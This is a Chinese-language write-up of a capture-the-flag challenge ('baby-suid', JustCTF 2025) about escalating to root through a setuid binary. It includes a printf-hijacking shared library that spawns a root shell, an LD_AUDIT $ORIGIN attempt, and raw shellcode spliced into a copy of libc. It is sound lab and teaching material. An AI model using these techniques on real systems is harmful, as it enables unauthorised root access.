题目地址:socat `tty`,raw,echo=0 tcp:baby-suid.nc.jctf.pro:1234
题目分析与环境搭建
首先下载附件,hello.c就是hello程序源代码,Dockerfile用于构建本地镜像,run.sh内为部署命令
1 2 3 4 5 6 7 8 9 10
| FROM --platform=linux/amd64 fedora:24
COPY --chmod=4755 hello /usr/bin/hello COPY --chmod=400 flag.txt /flag.txt
RUN useradd -m ctfplayer WORKDIR /home/ctfplayer
USER ctfplayer ENTRYPOINT ["/bin/sh"]
|
本地构建
1
| docker build -t chall_baby_suid -f ./Dockerfile .
|
进入容器使用该命令,多给一点资源
1
| docker run --pids-limit 50 --ulimit nofile=64:64 --rm -it chall_baby_suid
|
首先查找一下 SUID 程序,这个容器内少了很多东西,例如find,gcc,sudo,vim等都没有,vim 可以用 vi 代替,gcc 没有意味着我们需要在本地编译 exp 再上传
1
| ls -l /usr/bin/* /bin/* /sbin/* /usr/sbin/* 2>/dev/null | grep "rws"
|
结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| -rwsr-xr-x 1 root root 64336 Mar 17 2016 /bin/chage -rwsr-xr-x 1 root root 78288 Mar 17 2016 /bin/gpasswd -rwsr-xr-x 1 root root 7584 Jul 31 12:21 /bin/hello -rwsr-xr-x 1 root root 40168 Apr 26 2016 /bin/mount -rwsr-xr-x 1 root root 34848 Mar 17 2016 /bin/newgidmap -rwsr-xr-x 1 root root 41864 Mar 17 2016 /bin/newgrp -rwsr-xr-x 1 root root 34848 Mar 17 2016 /bin/newuidmap -rwsr-xr-x 1 root root 32152 Apr 26 2016 /bin/su -rwsr-xr-x 1 root root 27888 Apr 26 2016 /bin/umount -rwsr-xr-x 1 root root 11264 Feb 5 2016 /sbin/pam_timestamp_check -rwsr-xr-x 1 root root 36296 Feb 5 2016 /sbin/unix_chkpwd -rwsr-xr-x 1 root root 64336 Mar 17 2016 /usr/bin/chage -rwsr-xr-x 1 root root 78288 Mar 17 2016 /usr/bin/gpasswd -rwsr-xr-x 1 root root 7584 Jul 31 12:21 /usr/bin/hello -rwsr-xr-x 1 root root 40168 Apr 26 2016 /usr/bin/mount -rwsr-xr-x 1 root root 34848 Mar 17 2016 /usr/bin/newgidmap -rwsr-xr-x 1 root root 41864 Mar 17 2016 /usr/bin/newgrp -rwsr-xr-x 1 root root 34848 Mar 17 2016 /usr/bin/newuidmap -rwsr-xr-x 1 root root 32152 Apr 26 2016 /usr/bin/su -rwsr-xr-x 1 root root 27888 Apr 26 2016 /usr/bin/umount -rwsr-xr-x 1 root root 11264 Feb 5 2016 /usr/sbin/pam_timestamp_check -rwsr-xr-x 1 root root 36296 Feb 5 2016 /usr/sbin/unix_chkpwd
|
显然我们需要利用hello提权,审计源代码
1 2 3 4 5 6
| #include <stdio.h>
int main(void) { printf("Welcome to JustCTF 2025, I’m rooting for you to succeed!\n"); return 0; }
|
IDA 分析编译后程序,没有特别的,那就是劫持 libc 中的printf()函数了。为了能编译出 exp,我们需要利用 fedora 系统下的 dnf 先安装gcc
安装完GCC-6.3.1后,就可以开始准备提权了
提权过程
一开始打算劫持LD_AUDIT打$ORIGIN溢出,在本地确认用到的符号
1
| readelf -sW /usr/bin/hello | grep '@GLIBC_' | awk '{print $8}' | sort | uniq
|
编写.symver文件ver.c,告知链接器版本符号
1 2 3
| __asm__(".symver __libc_start_main,__libc_start_main@GLIBC_2.2.5"); __asm__(".symver printf,printf@GLIBC_2.2.5"); __asm__(".symver setuid,setuid@GLIBC_2.2.5");
|
vi 编写如下代码exp.c
1 2 3 4 5 6 7 8 9 10
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
int printf(const char *format, ...) { setuid(0); setgid(0); system("/bin/sh"); return 0; }
|
使用如下命令编译
1
| gcc -shared -fPIC exp.c ver.c -o exp
|
使用如下命令在终端中上传
LD_AUDIT劫持
1
| LD_AUDIT="\$ORIGIN" exec /bin/hello
|
发现不行,还是会报版本符号错误。
正解是直接劫持原 libc.so.6 的printf,首先截取 libc.so.6
1
| head -c 344224 /lib64/libc-2.23.so > libc.so.6
|
追加 shellcode
1
| echo -ne '\x48\x31\xff\x48\x31\xf6\xe8\x65\x55\x0a\x00\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' >> libc.so.6
|
随后把剩下的 libc 也拼回来
1
| tail -c+344259 /lib64/libc-2.23.so >> libc.so.6
|
执行/bin/hello,提权成功